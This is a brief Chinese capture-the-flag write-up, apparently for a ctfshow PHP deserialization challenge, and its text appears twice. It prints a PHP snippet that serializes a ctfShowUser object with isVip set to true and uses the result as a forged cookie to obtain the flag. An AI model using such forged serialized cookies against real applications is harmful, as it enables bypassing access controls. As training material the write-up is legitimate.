打开容器后发现就是一段php代码,先分析代码的意思,
就是传入两个参数用户名和密码,在网上搜索发现只要把isvip的只修改成TRUE即可,则生成序列化对象。
<?php
class ctfShowUser{
public $isVip=true;
}
$a=serialize(new ctfShowUser());
echo $a;
?>
这就是cookie的值,则传入参数即可拿到flag。
打开容器后发现就是一段php代码,先分析代码的意思,
就是传入两个参数用户名和密码,在网上搜索发现只要把isvip的只修改成TRUE即可,则生成序列化对象。
<?php
class ctfShowUser{
public $isVip=true;
}
$a=serialize(new ctfShowUser());
echo $a;
?>
这就是cookie的值,则传入参数即可拿到flag。